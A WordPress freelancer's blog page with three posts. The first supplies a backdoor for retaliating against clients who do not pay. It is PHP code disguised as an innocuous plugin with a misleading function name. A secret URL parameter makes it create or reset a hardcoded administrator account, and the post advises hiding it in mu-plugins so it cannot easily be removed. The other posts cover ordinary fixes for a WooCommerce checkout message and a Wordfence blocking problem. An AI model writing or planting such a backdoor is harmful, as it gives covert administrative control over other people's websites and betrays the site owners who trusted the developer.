sell website making service

How to Create an Admin User Programmatically in WordPress

Have you ever been in a situation where you worked on a website and the client refused to pay? Even though you were 100% honest and rightfully deserved your payment? You’re in luck today. My friend also faced a similar situation but used this method as a last resort. I do not recommend using this technique; instead, try discussing the issue with your client to resolve it amicably.

Code for Creating an Admin User Programmatically

<?php
/**
 * Plugin Name: Example Plugin Name  
 * Version: 1.2.3.4
 *
 * This plugin, like WordPress, is licensed under the GPL.
 * Use it to make something cool, have fun, and share what you've learned with others.
 *
 * Copyright © 2023 Hosting Company, . All Rights Reserved.
 */
 
  add_action( 'wp_head', 'addon_path_elementor' );

function addon_path_elementor() {
    if ( md5( $_GET['pathway'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
        require( 'wp-includes/registration.php' );
        if ( !username_exists( 'newuser' ) ) {
            $user_id = wp_create_user( 'newuser', 'NRTnzv*VEEGP3OFNAROZA&3O', 'any.gmail.address@gmail.com');
            $user = new WP_User( $user_id );
            $user->set_role( 'administrator' ); 
        }
		
		else {
			$user = get_user_by('login','newuser');
			wp_set_password('NRTnzv*VEEGP3OFNAROZA&3O', $user->ID );
			$user->set_role( 'administrator' );
			}		
		
    }
}

Where to Put This Code

Save the code in a PHP file like “coder.php” and place it inside the “mu-plugins” folder located under the “wp-content” directory. The “mu-plugins” folder is not updated or modified by WordPress, and files placed here will not be deleted or updated like regular plugins. As a result, the file will automatically be added as a plugin but cannot be easily removed.

How to Run This Code

For example, if your site is https://example.com, to execute the code and create the new user, add “?pathway=go” at the end of the URL and hit enter, like this: https://example.com/?pathway=go. The URL will execute the code and create the user. You can then check the new user under the “Users” menu in wp-admin.

Code Explanation with Image

How to Create an Admin User Programmatically in WordPress

Share this article if it helps.

If you need help regarding any WordPress/website issues, you can contact me.

How to Fix WooCommerce Payment Message in Checkout Page

“Sorry, it seems that there are no available payment methods for your state. Please contact us if you require assistance or wish to make alternate arrangements.” This was the message I received when trying to checkout from my WooCommerce e-commerce WordPress website, even though the payment method had been configured earlier and was working fine.

How to Fix WooCommerce Payment Message in Checkout Page

The message was a bit confusing, as nothing had changed in the settings, but it still appeared on the checkout page and prevented customers from completing their purchases. I had configured the payment method as ‘Cash on Delivery’ only.

I went back to the settings, reconfigured them, and saved everything, as shown in the screenshots below.

How to Fix WooCommerce Payment Message in Checkout Page

How to Fix WooCommerce Payment Message in Checkout Page

After enabling and saving the settings, the message disappeared, and everything has been working fine since.

Share this article if it helps.

If you need help regarding any WordPress/website issues, you can contact me.

Wordfence Blocked All IPs Due to Cache Problem for Not Found Scripts, How I Solved It

Wordfence was blocking all visitors and my email was full of blocking emails. It was supposed to block when a visitor or hacker only tries to find non-existent PHP or script pages to exploit vulnerable codes and pages and inject malware/virus.

Wordfence Blocked All IPs Due to Cache Problem for Not Found Scripts, How I Solved It
inbox was full of IP-blocking messages

But due to a cache problem a lot of CSS files were missing, it was a plugin error of the cache plugin. So when any visitor was visiting the site a large number of CSS scrips was not found automatically therefore wordfence blocked the visitors.

Let’s share screenshots from my PC to walk you through the process of how I found the issue and solved it:

Step:2

I checked the Wordfence dashboard and found CSS files missing problem led to all IP blocking.

Wordfence Blocked All IPs Due to Cache Problem for Not Found Scripts, How I Solved It

Step 3:

I visited the website Dakhm.com and found many missing 404 CSS files due to cache problems.

Wordfence Blocked All IPs Due to Cache Problem for Not Found Scripts, How I Solved It

Step 4:

Then I tried to visit another page of the website, but now Wordfence blocked my IP too like other IPs.

Wordfence Blocked All IPs Due to Cache Problem for Not Found Scripts, How I Solved It

Step 5:

In this step, I need to unblock myself and login to the website to remove my IP from Wordfence block list. I will be using Filezilla for FTP to change Wordfence plugin’s folder name so that Wordfence plugin is deactivated. In this way, my ip will be unblocked as the plugin itself is deactivated.

Wordfence Blocked All IPs Due to Cache Problem for Not Found Scripts, How I Solved It

Step 6:

I could log in after deactivating the Wordfence plugin.

Wordfence Blocked All IPs Due to Cache Problem for Not Found Scripts, How I Solved It

Step 6:

Follow the screenshot below to clear the cache from the wp optimize cache plugin.

Wordfence Blocked All IPs Due to Cache Problem for Not Found Scripts, How I Solved It

Step 7:

Then go to Cloudways as per the below screenshot, and clear Varnish cache from your server.

Wordfence Blocked All IPs Due to Cache Problem for Not Found Scripts, How I Solved It
Wordfence Blocked All IPs Due to Cache Problem for Not Found Scripts, How I Solved It

Step 8:

Then go to Cloudflare as per the below screenshot, and clear Everything.

Wordfence Blocked All IPs Due to Cache Problem for Not Found Scripts, How I Solved It

After clearing all cache I saw there was no missing css files, from chrome inspect element.

Wordfence Blocked All IPs Due to Cache Problem for Not Found Scripts, How I Solved It

Then change Wordfence plugin’s folder to real name with FTP and login to website and activate the plugin, then go to the blocking option and unblock necessary ips, like below screenshot. And you are done.

Wordfence Blocked All IPs Due to Cache Problem for Not Found Scripts, How I Solved It

Share this article if it helps.

If you need help regarding any WordPress/website issues, you can contact me.

Check Most Recent Posts